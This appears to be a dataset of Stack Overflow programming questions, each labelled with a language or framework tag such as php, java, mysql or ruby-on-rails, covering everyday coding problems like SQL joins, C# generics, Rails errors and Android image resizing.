php loop display sum before loop that does calculation  is it possible for me to display the sum at the heading before the program runs through    <pre><code>while (($data = fgetcsv($handle  1000     ))) {  if($data[2] != $prevrow2) {   echo  &lt;/div&gt; ;  if ($prevrow2 !=   ) {   $stringdata .=  &lt;/payment&gt; ;  }  echo  &lt;div id=\ row\ &gt; ;  echo $sum;  $row++;            $sum = 0; }  else { echo  &lt;div id=\ filler\ &gt;&lt;/div&gt; ;}   foreach ($data as $key =&gt; $d) {   if ($key != 1) {    echo  &lt;div class=\ field\ &gt;  .$d .  &lt;/div&gt; ;   }  }   $sum +=$data[6];   echo  &lt;br/&gt; ;  echo  &lt;div id=\ filler\ &gt;&lt;/div&gt; ;                        $prevrow2 = $data[2]; }   fclose($handle); } </code></pre>,php
validate phone numbers with +55  how could i validate phones like this: +55(11)5685677     actually is +55(ddd)mynumber    i know exists regular expression  but how can i resolve it,ios
jar file of java application is not working  i have written a java application in eclipse and then i have made its runnable jar file  but the problem is that the application is not opening when i click its jar file to open it  but the application is opening and running perfectly when i open it in the eclipse  i have made the jar file number of times again and again but i am facing the same issue every time  no error is shown when i click the jar but it is not opening. so please tell what can be the problem with the jar file.,java
move vertices of a generic uiview  is there any way to move the vertices of a uiview just like the images <br> <img src= https://i.stack.imgur.com/g8xhu.png  alt= imageone ><br> <img src= https://i.stack.imgur.com/8zvbv.png  alt= imagetwo >    <em>as a non-english native i really don t know the name of those points  so i m using the term <code>external point</code>  but if you suggest the real name i ll edit it for sure.</em>,objective-c
c# type inference  generics and interfaces  i found something strange for me in type inference in c#.    the example.    i ve got an interface   <pre><code>interface iinterface1 { } </code></pre>   and a class that implements the interface   <pre><code>class class1 : iinterface1 { } </code></pre>   then i have a function that creates the class   <pre><code>static class1 getinstanceofclass1() {     return new class1(); } </code></pre>   and i want to use generic function that will return an enumerable   <pre><code>static ienumerable&lt;t&gt; getsomething&lt;t&gt;() where t : iinterface1 {     yield return getinstanceofclass1(); } </code></pre>   the full code is   <pre><code>using system.collections.generic;  namespace typeinference {     interface iinterface1     {     }      class class1 : iinterface1     {     }      class program     {         static class1 getinstanceofclass1()         {             return new class1();         }          static ienumerable&lt;t&gt; getsomething&lt;t&gt;() where t : iinterface1         {             yield return getinstanceofclass1();         }          static void main(string[] args)         {         }     } } </code></pre>   this code is not compiled   <blockquote>    cannot implicitly convert type  typeinference.class1  to  t   </blockquote>   if i write as    <pre><code>yield return (t)getinstanceofclass1(); </code></pre>   the error message is as   <blockquote>    cannot convert type  typeinference.class1  to  t   </blockquote>   it cannot convert as before.    ok. i write as    <pre><code>yield return (iinterface1)getinstanceofclass1(); </code></pre>   and got   <blockquote>    cannot implicitly convert type  typeinference.iinterface1  to  t   </blockquote>   it cannot convert as before.    but if i write as    <pre><code>yield return (t)(iinterface1)getinstanceofclass1(); </code></pre>   everything is ok.    can someone explain me what was wrong and why the code eventually is compiled     thank you.,c#
.net windows authentication custom error page  i ve found a few pages concerning this on google and on here but none have seemed to have fixed the issue that i m seeing. i m using iis 7.5. the website uses windows authentication and to access any of the site the user must be logged in (occurs automatically when the first page is loaded). if the user does not have access to the site then they should get a 401 or a 403  i m trying to create a simple htm custom error page for this. the error page is in an errors folder which has anonymous authentication set up on it.     if i try to load the site and force failed authentication then i just get the standard server error page with a http error 401  it doesn t look like it s trying to load the error page. if i try to load the error page itself then that works fine.     there are no authorisation bits  if a user is logged on then have access to the whole site and if the user can t authenticate then they have access only to the error page. i ve added the following section to my web.config:   <pre><code>  &lt;customerrors mode= on  defaultredirect= ~/errors/authenticationerror.htm &gt;       &lt;error statuscode= 401  redirect= ~/errors/authenticationerror.htm  /&gt;       &lt;error statuscode= 403  redirect= ~/errors/authenticationerror.htm  /&gt;   &lt;/customerrors&gt; </code></pre>   any help would be very much appreciated!,.net
read text file and save the content in an array using javascript  i ve searched a lot about this topic  but couldn t find solution. i have a *.txt file containing coordinates (each line has one coordinate) in one column. so  i want to read this file from my file system and use those coordinates to visualize the tracking route on google maps api v3. i ve already visualized the track for three coordinates and it works fine.  can anybody just share a sample code of reading a *.txt file and fill an array with the file content  maybe this is quite easy thing  but i am really stuck on this and would appreciate your help! thanks in advance!,javascript
clause where in mysql  i have two tables.    table db1 and db2   <pre><code>db1 +-----------+------------+ |    id     |    namedb  | +-----------+------------+ |    1      |    name1   | +-----------+------------+ |    2      |    name2   | +-----------+------------+ |    3      |    name3   | +-----------+------------+ </code></pre>   db2   <pre><code>+------------+------------+-------------+----------------------+ |    id      |   name     |   id_db1    |          date        | +------------+------------+-------------+----------------------+ |    1       |   test1    |      1      |  2013-05-10 10:00:00 | +------------+------------+-------------+----------------------+ |    2       |   test2    |      1      |  2013-05-10 11:00:00 | +------------+------------+-------------+----------------------+ |    3       |   test3    |      1      |  2013-05-10 11:10:00 | +------------+------------+-------------+----------------------+ |    4       |   test4    |      1      |  2013-05-10 11:40:00 | +------------+------------+-------------+----------------------+ </code></pre>   my query is this:   <pre><code>select a.namedb  b.name from db1 a  left join db2 b on b.id_db1 = a.id  where date_format(b.name   %y-%m-%d ) =  2013-05-10  </code></pre>   i need to return everything related to the day  which was not related must also appear...    something like   <pre><code>+------------+------------+ |    namedb  |   name     | +------------+------------+ |    name1   |   test1    | +------------+------------+ |    name1   |   test2    | +------------+------------+ |    name1   |   test3    | +------------+------------+ |    name1   |   test4    | +------------+------------+ |    name2   |   null     | +------------+------------+ |    name3   |   null     | +------------+------------+ </code></pre>   any idea,mysql
circular references with shared_ptr and weak_ptr and trees  i hope i am not double posting... i am trying to solve a  tree/graph  construction problem  where each node can have any number of parents and children  and can also have its own parent as one of its child. so the construction problem is pretty straightforward  no problem there. the problem is memory deallocation. let me explain. here is how my node class is defined:   <pre><code>class node{ public:     // a bunch of utility functions and an empty virtual destructor (only a      // printf there) private:     std::list&lt;shared_ptr&lt;node&gt;&gt; m_children;     std::list&lt;weak_ptr&lt;node&gt;&gt; m_parents; // to avoid circular references } </code></pre>   the problem specifically happens when i have a node that s a parent to one of its own parents. to be more precise i suspect this happens whenever a node is a parent to any node in its path from the starting node... the objects are not released due to circular reference...    i tried to solve the problem by adding this member:   <pre><code>std::list&lt;weak_ptr&lt;node&gt;&gt; m_weakchildren; </code></pre>   in which i put weak references to the child i want to add if it is already in the parents path. now  quite logically when you think about it  i get a segmentation fault due to fact that the parent object is destroyed.    does anyone has any idea on how to solve my problem   that would be greatly appreciated !    subsidiary question: the class that is managing the tree also has a class that indexes the nodes for fast look up  using shared_ptr. sadly  this class is destroyed before the tree itself. the question is: how can we know which class members are to be destroyed first     thanks for your help!,c++
how do you update a join table record with no primary keys in rails   i have a join table that has a through association between two other tables. this table has its own rails model representation and some fields that are not the the id s of the other tables. is it possible to update a record from the join table or should i consider creating a unique primary key     if i try to  update_attributes  on the record i get the following error...   <pre><code>unknown column  join_table.  in  where clause : update `join_table` set `join_table_attribute` = 1 where `join_table`.`` is null </code></pre>,ruby-on-rails
how can i convert percent into decimal   here is my code: <img src= https://i.stack.imgur.com/heb7z.png  alt= enter image description here >    and this is the output. why does it show  0.0  as value of <code>discount2</code>     <img src= https://i.stack.imgur.com/k0rus.png  alt= enter image description here >,java
why cannot access to variable inside function that assigned jquery object  i cannot access <code>button</code> or <code>container</code> variable inside the functions. what s the problem    <pre><code>var site = {     init: function () {         $( .site .head .nav-bar .nav-button ).click(function () {             site.navigation.toggle();             return false;         });     }      navigation: {         container: $( .site .head .nav-bar .navigation )          button: $( .site .head .nav-bar .nav-button )          toggle: function () {             if (this.button.hasclass( active )) {                 this.hide();             }             else {                 this.show();             }         }          show: function () {             this.button.addclass( active );             this.container.slidedown();             return false;         }          hide: function () {             this.button.removeclass( active );             this.container.slideup();             return false;         }         //another stuff     }  }  $(document).ready(function () {     site.init(); }); </code></pre>,javascript
read an array environment variable in c++ using getenv on linux  i have an an environment variable which is an array. i need to get and set it from my c++ application. how can i get this using a std::map. i am able to do this in tcl easily using array set and array get. tcl example:   <pre><code> set myenvarray(key1) val1  set myenvarray(key2) val2  set env(myarray) [array get myenvarray] </code></pre>   thanks,c++
dont understand what is going on in this weird java code syntax. i was told this is called passing a template type to a static method  i came across some piece of code in my organization that i don t even know how to begin     understanding. could someone shed some light on what the code in class a is doing in java     is doing and why its called passing a template type to a static method      class a:   <pre><code> list&lt;searchindexresponse&gt; indexresponselist = connectionhelper  .&lt;list&lt;searchindexresponse&gt;&gt; tryexecute(new callable&lt;list&lt;searchindexresponse&gt;&gt;() </code></pre>   class b:   <pre><code>public class connectionhelper&lt;t&gt; {     private static final logger logger = loggerfactory     .getlogger(connectionhelper.class);      private static final int    connection_retries = 3;      private static final int    min_timeout        = 100;      public static &lt;t&gt; t tryexecute(callable&lt;t&gt; command)     {         t returnvalue = null;         long delay = 0;          for (int retry = 0; retry &lt; connection_retries; retry++)         {             try .... </code></pre>,java
nomethod error - controller actions fail to work randomly  i m creating a ticket booking app as my sample project using ruby on rails 4.1. three are three models - events  tickets and bookings. events have many tickets and bookings. tickets have many bookings and they belong to events. bookings belongs to events and tickets.    the bookings controller looks like:   <pre><code>class bookingscontroller &lt; applicationcontroller   before_action :authenticate_user!    def index     @event = event.find(params[:event_id])     @bookings = @event.bookings.all   end    def new     @event = event.find(params[:event_id])     @ticket = @event.tickets.find(params[:ticket_id])     @booking = booking.new   end    def create     @event = event.find(params[:event_id])     @ticket = @event.tickets.find(params[:ticket_id])     @booking = @event.bookings.create(booking_params)     @booking.ticket = @ticket      stripe.api_key = rails.configuration.stripe[:secret_key]     #token = params[:stripetoken]     @amount = @booking.total_amount      begin       customer = stripe::customer.create(         :email =&gt; @booking.email          :card  =&gt; params[:stripetoken]         )        charge = stripe::charge.create(         :customer    =&gt; customer.id          :amount =&gt; @amount          :currency =&gt;  usd           #:card =&gt; token         )       flash[:notice] =  thanks for the order      rescue stripe::carderror =&gt; e       flash[:danger] = e.message     end       if @booking.save         bookingmailer.booking_confirmation_user(@booking).deliver         redirect_to [@event  @booking]     else         render  new      end   end    def show     @event = event.find(params[:event_id])     @booking = @event.bookings.find(params[:id])   end    def destroy     @event = event.find(params[:event_id])     @booking = @event.bookings.find(params[:id])     @booking.destroy     redirect_to event_bookings_path   end    private   def booking_params     params.require(:booking).permit(:buyer_name  :email  :mobile  :address  :order_quantity  :ticket_id)   end end </code></pre>   the booking model:   <pre><code>class booking &lt; activerecord::base   #before_create :check_ticket_count    belongs_to :event   belongs_to :ticket   has_many :charges    def total_amount     ticket.ticket_price.to_i * order_quantity.to_i   end    def check_ticket_count     count = ticket.ticket_quantity.to_i - order_quantity.to_i     ticket.update_attribute(:ticket_quantity  count)   end  end </code></pre>   ticket model:   <pre><code>class ticket &lt; activerecord::base   belongs_to :event   has_many :bookings   belongs_to :user    before_create :check_start_date   before_update :check_start_date       def check_start_date         if (self.booking_start_date &gt;= datetime.now) &amp;&amp; (self.booking_end_date != datetime.now)             self.status =  open          else             self.status =  closed          end     end      def maximum_tickets_allowed         (1..maximum_quantity.to_i).to_a     end  end </code></pre>   the bookings index page:   <pre><code>&lt;h2&gt;all bookings&lt;/h2&gt;    &lt;div class= row &gt;     &lt;div class= col-md-10 &gt;       &lt;table class= table &gt;         &lt;thead&gt;               &lt;tr&gt;                   &lt;th&gt;buyer name&lt;/th&gt;                   &lt;th&gt;email address&lt;/th&gt;                   &lt;th&gt;ticket type&lt;/th&gt;                   &lt;th&gt;no. of tickets&lt;/th&gt;                   &lt;th&gt;amount&lt;/th&gt;                   &lt;th&gt;&lt;/th&gt;               &lt;/tr&gt;           &lt;/thead&gt;           &lt;tbody&gt;             &lt;% @event.bookings.each do |booking| %&gt;                &lt;tr&gt;                    &lt;td&gt;&lt;%= booking.buyer_name %&gt;&lt;/td&gt;                   &lt;td&gt;&lt;%= booking.email %&gt;&lt;/td&gt;                   &lt;td&gt;&lt;%= booking.ticket.ticket_name %&gt;&lt;/td&gt;                   &lt;td&gt;&lt;%= booking.order_quantity %&gt;&lt;/td&gt;                   &lt;td&gt;&lt;%= number_to_currency(booking.total_amount) %&gt;&lt;/td&gt;                                     &lt;td&gt;&lt;%= link_to  delete   event_booking_path(@event  booking)  method: :delete  data: { confirm:  are you sure   }  class:  btn btn-link  %&gt;&lt;/td&gt;             &lt;% end %&gt;           &lt;/tr&gt;       &lt;/table&gt;     &lt;/div&gt;     &lt;/div&gt; </code></pre>   bookings show page:    <b>thanks for your purchase!</b>   <pre><code>&lt;div class= row &gt;     &lt;div class= col-md-8 &gt;         &lt;b&gt;name:&lt;/b&gt;&lt;p&gt;&lt;%= @booking.buyer_name %&gt;&lt;/p&gt;         &lt;b&gt;no. of tickets&lt;/b&gt;&lt;p&gt;&lt;%= @booking.order_quantity %&gt;&lt;/p&gt;         &lt;b&gt;ticket tier&lt;/b&gt;&lt;p&gt;&lt;%= @booking.ticket.ticket_name %&gt;&lt;/p&gt;         &lt;b&gt;amount paid:&lt;/b&gt;&lt;p&gt;&lt;%= number_to_currency(@booking.total_amount) %&gt;&lt;/p&gt;         &lt;p&gt;&lt;% @booking.check_ticket_count %&gt;&lt;/p&gt;     &lt;/div&gt; </code></pre>   now  my problem is bookings work perfectly. all the details are fetched  displayed and model methods executed properly. however  occasionally without even making one single change to these files  i get the  action controller exception caught error - nomethoderror in bookings#index  and  action controller exception caught error - nomethoderror in bookings#show . the culprit is always the ticket_name in booking.ticket.ticket_name and @booking.ticket.ticket_name where the error states that it s an undefined method.    full trace is here:   <pre><code>app/views/bookings/index.html.erb:21:in `block in _app_views_bookings_index_html_erb___3226472832114682596_70125337010980  activerecord (4.1.1) lib/active_record/relation/delegation.rb:46:in `each  activerecord (4.1.1) lib/active_record/relation/delegation.rb:46:in `each  app/views/bookings/index.html.erb:17:in `_app_views_bookings_index_html_erb___3226472832114682596_70125337010980  actionview (4.1.1) lib/action_view/template.rb:145:in `block in render  activesupport (4.1.1) lib/active_support/notifications.rb:161:in `instrument  actionview (4.1.1) lib/action_view/template.rb:339:in `instrument  actionview (4.1.1) lib/action_view/template.rb:143:in `render  actionview (4.1.1) lib/action_view/renderer/template_renderer.rb:55:in `block (2 levels) in render_template  actionview (4.1.1) lib/action_view/renderer/abstract_renderer.rb:38:in `block in instrument  activesupport (4.1.1) lib/active_support/notifications.rb:159:in `block in instrument  activesupport (4.1.1) lib/active_support/notifications/instrumenter.rb:20:in `instrument  activesupport (4.1.1) lib/active_support/notifications.rb:159:in `instrument  actionview (4.1.1) lib/action_view/renderer/abstract_renderer.rb:38:in `instrument  actionview (4.1.1) lib/action_view/renderer/template_renderer.rb:54:in `block in render_template  actionview (4.1.1) lib/action_view/renderer/template_renderer.rb:62:in `render_with_layout  actionview (4.1.1) lib/action_view/renderer/template_renderer.rb:53:in `render_template  actionview (4.1.1) lib/action_view/renderer/template_renderer.rb:17:in `render  actionview (4.1.1) lib/action_view/renderer/renderer.rb:42:in `render_template  actionview (4.1.1) lib/action_view/renderer/renderer.rb:23:in `render  actionview (4.1.1) lib/action_view/rendering.rb:99:in `_render_template  actionpack (4.1.1) lib/action_controller/metal/streaming.rb:217:in `_render_template  actionview (4.1.1) lib/action_view/rendering.rb:82:in `render_to_body  actionpack (4.1.1) lib/action_controller/metal/rendering.rb:32:in `render_to_body  actionpack (4.1.1) lib/action_controller/metal/renderers.rb:32:in `render_to_body  actionpack (4.1.1) lib/abstract_controller/rendering.rb:25:in `render  actionpack (4.1.1) lib/action_controller/metal/rendering.rb:16:in `render  actionpack (4.1.1) lib/action_controller/metal/instrumentation.rb:41:in `block (2 levels) in render  activesupport (4.1.1) lib/active_support/core_ext/benchmark.rb:12:in `block in ms  /users/mohan/.rvm/rubies/ruby-2.1.2/lib/ruby/2.1.0/benchmark.rb:294:in `realtime  activesupport (4.1.1) lib/active_support/core_ext/benchmark.rb:12:in `ms  actionpack (4.1.1) lib/action_controller/metal/instrumentation.rb:41:in `block in render  actionpack (4.1.1) lib/action_controller/metal/instrumentation.rb:84:in `cleanup_view_runtime  activerecord (4.1.1) lib/active_record/railties/controller_runtime.rb:25:in `cleanup_view_runtime  actionpack (4.1.1) lib/action_controller/metal/instrumentation.rb:40:in `render  actionpack (4.1.1) lib/action_controller/metal/implicit_render.rb:10:in `default_render  actionpack (4.1.1) lib/action_controller/metal/implicit_render.rb:5:in `send_action  actionpack (4.1.1) lib/abstract_controller/base.rb:189:in `process_action  actionpack (4.1.1) lib/action_controller/metal/rendering.rb:10:in `process_action  actionpack (4.1.1) lib/abstract_controller/callbacks.rb:20:in `block in process_action  activesupport (4.1.1) lib/active_support/callbacks.rb:113:in `call  activesupport (4.1.1) lib/active_support/callbacks.rb:113:in `call  activesupport (4.1.1) lib/active_support/callbacks.rb:166:in `block in halting  activesupport (4.1.1) lib/active_support/callbacks.rb:229:in `call  activesupport (4.1.1) lib/active_support/callbacks.rb:229:in `block in halting  activesupport (4.1.1) lib/active_support/callbacks.rb:229:in `call  activesupport (4.1.1) lib/active_support/callbacks.rb:229:in `block in halting  activesupport (4.1.1) lib/active_support/callbacks.rb:166:in `call  activesupport (4.1.1) lib/active_support/callbacks.rb:166:in `block in halting  activesupport (4.1.1) lib/active_support/callbacks.rb:166:in `call  activesupport (4.1.1) lib/active_support/callbacks.rb:166:in `block in halting  activesupport (4.1.1) lib/active_support/callbacks.rb:166:in `call  activesupport (4.1.1) lib/active_support/callbacks.rb:166:in `block in halting  activesupport (4.1.1) lib/active_support/callbacks.rb:86:in `call  activesupport (4.1.1) lib/active_support/callbacks.rb:86:in `run_callbacks  actionpack (4.1.1) lib/abstract_controller/callbacks.rb:19:in `process_action  actionpack (4.1.1) lib/action_controller/metal/rescue.rb:29:in `process_action  actionpack (4.1.1) lib/action_controller/metal/instrumentation.rb:31:in `block in process_action  activesupport (4.1.1) lib/active_support/notifications.rb:159:in `block in instrument  activesupport (4.1.1) lib/active_support/notifications/instrumenter.rb:20:in `instrument  activesupport (4.1.1) lib/active_support/notifications.rb:159:in `instrument  actionpack (4.1.1) lib/action_controller/metal/instrumentation.rb:30:in `process_action  actionpack (4.1.1) lib/action_controller/metal/params_wrapper.rb:250:in `process_action  activerecord (4.1.1) lib/active_record/railties/controller_runtime.rb:18:in `process_action  actionpack (4.1.1) lib/abstract_controller/base.rb:136:in `process  actionview (4.1.1) lib/action_view/rendering.rb:30:in `process  actionpack (4.1.1) lib/action_controller/metal.rb:195:in `dispatch  actionpack (4.1.1) lib/action_controller/metal/rack_delegation.rb:13:in `dispatch  actionpack (4.1.1) lib/action_controller/metal.rb:231:in `block in action  actionpack (4.1.1) lib/action_dispatch/routing/route_set.rb:80:in `call  actionpack (4.1.1) lib/action_dispatch/routing/route_set.rb:80:in `dispatch  actionpack (4.1.1) lib/action_dispatch/routing/route_set.rb:48:in `call  actionpack (4.1.1) lib/action_dispatch/journey/router.rb:71:in `block in call  actionpack (4.1.1) lib/action_dispatch/journey/router.rb:59:in `each  actionpack (4.1.1) lib/action_dispatch/journey/router.rb:59:in `call  actionpack (4.1.1) lib/action_dispatch/routing/route_set.rb:676:in `call  warden (1.2.3) lib/warden/manager.rb:35:in `block in call  warden (1.2.3) lib/warden/manager.rb:34:in `catch  warden (1.2.3) lib/warden/manager.rb:34:in `call  rack (1.5.2) lib/rack/etag.rb:23:in `call  rack (1.5.2) lib/rack/conditionalget.rb:25:in `call  rack (1.5.2) lib/rack/head.rb:11:in `call  actionpack (4.1.1) lib/action_dispatch/middleware/params_parser.rb:27:in `call  actionpack (4.1.1) lib/action_dispatch/middleware/flash.rb:254:in `call  rack (1.5.2) lib/rack/session/abstract/id.rb:225:in `context  rack (1.5.2) lib/rack/session/abstract/id.rb:220:in `call  actionpack (4.1.1) lib/action_dispatch/middleware/cookies.rb:560:in `call  activerecord (4.1.1) lib/active_record/query_cache.rb:36:in `call  activerecord (4.1.1) lib/active_record/connection_adapters/abstract/connection_pool.rb:621:in `call  activerecord (4.1.1) lib/active_record/migration.rb:380:in `call  actionpack (4.1.1) lib/action_dispatch/middleware/callbacks.rb:29:in `block in call  activesupport (4.1.1) lib/active_support/callbacks.rb:82:in `run_callbacks  actionpack (4.1.1) lib/action_dispatch/middleware/callbacks.rb:27:in `call  actionpack (4.1.1) lib/action_dispatch/middleware/reloader.rb:73:in `call  actionpack (4.1.1) lib/action_dispatch/middleware/remote_ip.rb:76:in `call  actionpack (4.1.1) lib/action_dispatch/middleware/debug_exceptions.rb:17:in `call  actionpack (4.1.1) lib/action_dispatch/middleware/show_exceptions.rb:30:in `call  railties (4.1.1) lib/rails/rack/logger.rb:38:in `call_app  railties (4.1.1) lib/rails/rack/logger.rb:20:in `block in call  activesupport (4.1.1) lib/active_support/tagged_logging.rb:68:in `block in tagged  activesupport (4.1.1) lib/active_support/tagged_logging.rb:26:in `tagged  activesupport (4.1.1) lib/active_support/tagged_logging.rb:68:in `tagged  railties (4.1.1) lib/rails/rack/logger.rb:20:in `call  actionpack (4.1.1) lib/action_dispatch/middleware/request_id.rb:21:in `call  rack (1.5.2) lib/rack/methodoverride.rb:21:in `call  rack (1.5.2) lib/rack/runtime.rb:17:in `call  activesupport (4.1.1) lib/active_support/cache/strategy/local_cache_middleware.rb:26:in `call  rack (1.5.2) lib/rack/lock.rb:17:in `call  actionpack (4.1.1) lib/action_dispatch/middleware/static.rb:64:in `call  rack (1.5.2) lib/rack/sendfile.rb:112:in `call  railties (4.1.1) lib/rails/engine.rb:514:in `call  railties (4.1.1) lib/rails/application.rb:144:in `call  rack (1.5.2) lib/rack/lock.rb:17:in `call  rack (1.5.2) lib/rack/content_length.rb:14:in `call  rack (1.5.2) lib/rack/handler/webrick.rb:60:in `service  /users/mohan/.rvm/rubies/ruby-2.1.2/lib/ruby/2.1.0/webrick/httpserver.rb:138:in `service  /users/mohan/.rvm/rubies/ruby-2.1.2/lib/ruby/2.1.0/webrick/httpserver.rb:94:in `run  /users/mohan/.rvm/rubies/ruby-2.1.2/lib/ruby/2.1.0/webrick/server.rb:295:in `block in start_thread  </code></pre>   the problem is it s the right field name. why would the actions work most of the times and fail randomly at times without a single change in the code,ruby-on-rails
create one query statement out of two queries   i am trying to make one query out of these to queries.in first query i am trying to get sum of articles on different warehouses. in second query i am getting the article trade (how many articles are sold). i want to make one query which will connect these two queries and print results in table.     query 1    <pre><code>select a.artid  a.artsifra  a.artnaziv a.artroditelj  a.artstanjesa  a.artkategorija  a.artmjera  sum(b.artpaletatrenutnostanje) as suma  (a.artstanjesa + sum(b.artpaletatrenutnostanje))           as ukupno  c.jmoznaka from artikli a            left join artikli_palete_ulaz b            on a.artid = b.artpaletaartikal            left join jedmj c            on a.artmjera = c.jmid           where a.artroditelj != 0 and a.artaktivan != 0           group by a.artid order by a.artid asc  a.artkategorija asc </code></pre>   query 2   <pre><code>select a.artikal a.datum b.artnaziv b.artsifra b.artmjera c.jmnaziv a.vrstadokumenta  sum(a.izlaz) as suma  from kartica_artikla_2015 a  left join artikli b on a.artikal = b.artid  left join jedmj c on b.artmjera = c.jmid  where a.vrstadokumenta != 18  group by artikal </code></pre>   these queries works independently. i was wondering is it possible to connect these two queries,mysql
resizing uploaded photo from device gallery to display it in imageview  i am implementing an android program that allows users to upload photos from their device gallery to an imageview. saving it in the cloud. my code works fine with small photos  but bigger photos caused the application to stop. i m getting this error:    <blockquote>    bitmap too large to be uploaded into a texture (4128x2322  max=4096x4096)  </blockquote>   i tried to resize the uploaded photo before displaying it using suggestions from previous questions  but they didn t work. i am not sure what the problem with my code is.     any help would be appreciated. here is the code from my last attempt:   <pre><code>{     // omitted code segment from oncreate...     browsebutton = ((button) findviewbyid(r.id.browse_button));     browsebutton.setonclicklistener(new view.onclicklistener()         {             @override             public void onclick(view v)             {                 intent intent = new intent();                 intent.settype( image/* );                 intent.setaction(intent.action_get_content);                 startactivityforresult(intent.createchooser(intent  select picture )  select_picture);             }         }     ); } //end on create  public void onactivityresult(int requestcode  int resultcode  intent data) {     if (resultcode == result_ok)     {         if (requestcode == select_picture)         {             uri selectedimageuri = data.getdata();             selectedimagepath = getpath(selectedimageuri);             system.out.println( image path :   + selectedimagepath);             bitmap bitmap = bitmapfactory.decodefile(selectedimagepath);             // convert it to byte             bytearrayoutputstream stream = new bytearrayoutputstream();             // compress image to lower quality scale 1 - 100             bitmap.compress(bitmap.compressformat.png  100  stream);             image = stream.tobytearray();             bitmap = bitmapfactory.decodebytearray(image  0  image.length);             bitmap toyimagescaled = bitmap.createscaledbitmap(bitmap  200  200             * bitmap.getheight() / bitmap.getwidth()  false);             // override android default landscape orientation and save portrait             matrix matrix = new matrix();             matrix.postrotate(90);             bitmap rotatedscaledtoyimage = bitmap.createbitmap(toyimagescaled  0              0  toyimagescaled.getwidth()  toyimagescaled.getheight()              matrix  true);             toypreview.setimagebitmap(bitmap);         }     } }  public string getpath(uri uri) {     string[] projection = { mediastore.images.media.data };     cursor cursor = managedquery(uri  projection  null  null  null);     int column_index = cursor.getcolumnindexorthrow(mediastore.images.media.data);     cursor.movetofirst();     return cursor.getstring(column_index); } </code></pre>,android
how to increase the number of rows in a 2d array using java  i need to convert a 2 * 3 array into a 6 * 3 array using java. any idea  how i can do it i am a novice in java so any help is appreciated.,java
how to change font color in masterdetail nsmutablearray row  of the several questions i have reviewed here on the subject of changing font colors  i assume there is no way to do this  but i will try again.    i start with a fresh copy of the masterdetail template in xcode.  the array to be loaded onto the master view is defined as   nsmutablearray *_objects;    i replace the statement that normally inserts the date/time into the row with statements to put in a sentence   help me display this in red as shown below:   <pre><code>//[_objects insertobject:[nsdate date] atindex:0]; // removed this line and replaced with next two.  nsstring *loadme = [[nsstring alloc] initwithformat:@ help me display this in red ]; [_objects insertobject:loadme  atindex:0]; </code></pre>   so  the question is  how would i change the display of this row on the master view with red text   thanks for your time and expertise.    since i think the answer to the above question is that it can t be done.  can you tell me how to put an image on the row before the text.  that would be an even better solution.  i suspect it has something to do with uitableviewcell  but i have no experience in this area.,objective-c
can i use an html page as content of another html page..   im new to programming..can anybody help me out please ....    im using an html to display an image later i want to display another html on the first html so i need to set second html as transparent. so the image in the first html looks like a background image....    is it possible...     thanks,html
add class to element when content loads angularjs  i want to add a class to the <code>.container</code> element when the content loads of an angularjs app:    part of my code is as follows  how can i do this  not sure how it s done     <strong>html</strong>   <pre><code> &lt;div class= container   ng-view&gt; .. </code></pre>   <strong>js</strong>   <pre><code>**app.controller( showimages   function($scope  instagramapi){     $scope.layout =  grid ;     $scope.data = {};     $scope.pics = [];       instagramapi.fetchphotos(function(data){       $scope.pics = data;       console.log( length is  +data.length)     });   });** </code></pre>,angularjs
transfer object of 1 type to object of a different type  i m trying to create a transfer mechanism where i can take a class object and convert it to a webservice object  with minimal amount of code.    i ve had pretty good success with this approach but i need to refine the techinque for when i have custom classes being returned as properties off my source object.   <pre><code>private sub transfer(byval src as object  byval dst as object)     dim thesourceproperties() as reflection.propertyinfo      thesourceproperties = src.gettype.getproperties(reflection.bindingflags.public or reflection.bindingflags.instance)      for each s as reflection.propertyinfo in thesourceproperties         if s.canread andalso (not s.propertytype.isgenerictype) then             dim d as reflection.propertyinfo             d = dst.gettype.getproperty(s.name  reflection.bindingflags.public or reflection.bindingflags.instance)             if d isnot nothing andalso d.canwrite then                 d.setvalue(dst  s.getvalue(src  nothing)  nothing)             end if         end if     next end sub </code></pre>   what i need is some what of determining if the source property is a basic type (string  int16  int32 etc  and not of complex type).    i was looking at the s.propertytype.attributes and checking the masks on that  but i can t seem to find anything that indicates it is a base type.    is there something i can check to find this out,.net
how to make image fit width in subsamplingscaleimageview (davemorrissey lib)  while current code :-    <code>setminimumscaletype(subsamplingscaleimageview.scale_type_center_crop)</code>     works well for matching the shortest of the image s dimensions  and     <code>setminimumscaletype(subsamplingscaleimageview.scale_type_center_inside)</code>     works for matching the widest dimension  there doesn t seem to be any way to specifically match width or height,android
is restful_authentication ever going to work for rails 3   i like the simplicity of restful_authentication (as a newbie)  was hoping it would work in rails 3.0.3 but when i ran bundle install it said it doesn t work for this version of rails.,ruby-on-rails
iphone - double parenthesis on ziparchive... why   i am importing ziparchive to use on an iphone project.    when i compile it  i have trillions of errors saying  equality comparison with extraneous parenthesis   pointing to lines like this:   <pre><code>if ((level==1)) </code></pre>   why is the programmer using double parenthesis  the error goes away if i remove the extra pair of parenthesis. is it ok to do that     thanks.,iphone
select highest value over multiple tables  i have the following tables   <pre><code>table name : thremployee  employeid#      employee    departmentid    designationid     dob           basicpay 101             ajith       101             102              10/feb/1982    10000 102             aarathy     null            101              15/mar/1981    15000 103             aruna       102             null             20/sep/1980    5000 104             ambily      101             null             20/sep/1980    5000 105             anjaly      null            101              20/sep/1980    10000 106             babitha     103             null             20/sep/1981    20000     table name : thrdepartment departmentid#   code    department 101             500     production 102             501     hr 103             502     finance 105             503     marketing   table name : thrdesignation  designationid#  designation  101             executive 102             manager </code></pre>   how can i display employee details (employee  department  designation  basicpay) for those employees who have highest basic pay for each department in sql,sql
html image for a local site  i m new to html and have a quick question with regards to images. below i have a simple html file i was playing around with. i wanted to put an image into it which is stored in the home directory of my site. the site is local  on my macbook.   <pre><code>&lt;!doctype html&gt; &lt;html&gt;     &lt;body style= background-color:yellow; &gt;         &lt;h1&gt;my first heading&lt;/h1&gt;         &lt;p&gt;my first paragraph.&lt;/p&gt;         &lt;p style= color:blue;margin-left:20px; &gt;this is a paragraph.&lt;/p&gt;         &lt;p style= background-color:green; &gt;this is a paragraph.&lt;/p&gt;         &lt;img src=“honeybadger.jpg” alt=“grumpy honey badger”&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   however when i open the file with my browser i see a broken link. if i look at the url of the image in my browser it is      file:///users/admin/sites/project_honey_badger/%c3%a2%e2%82%ac%c5%93honeybadger.jpg%c3%a2%e2%82%ac%c2%9d    some random percent signs and text have been added in  any idea what i am doing wrong     thanks,html
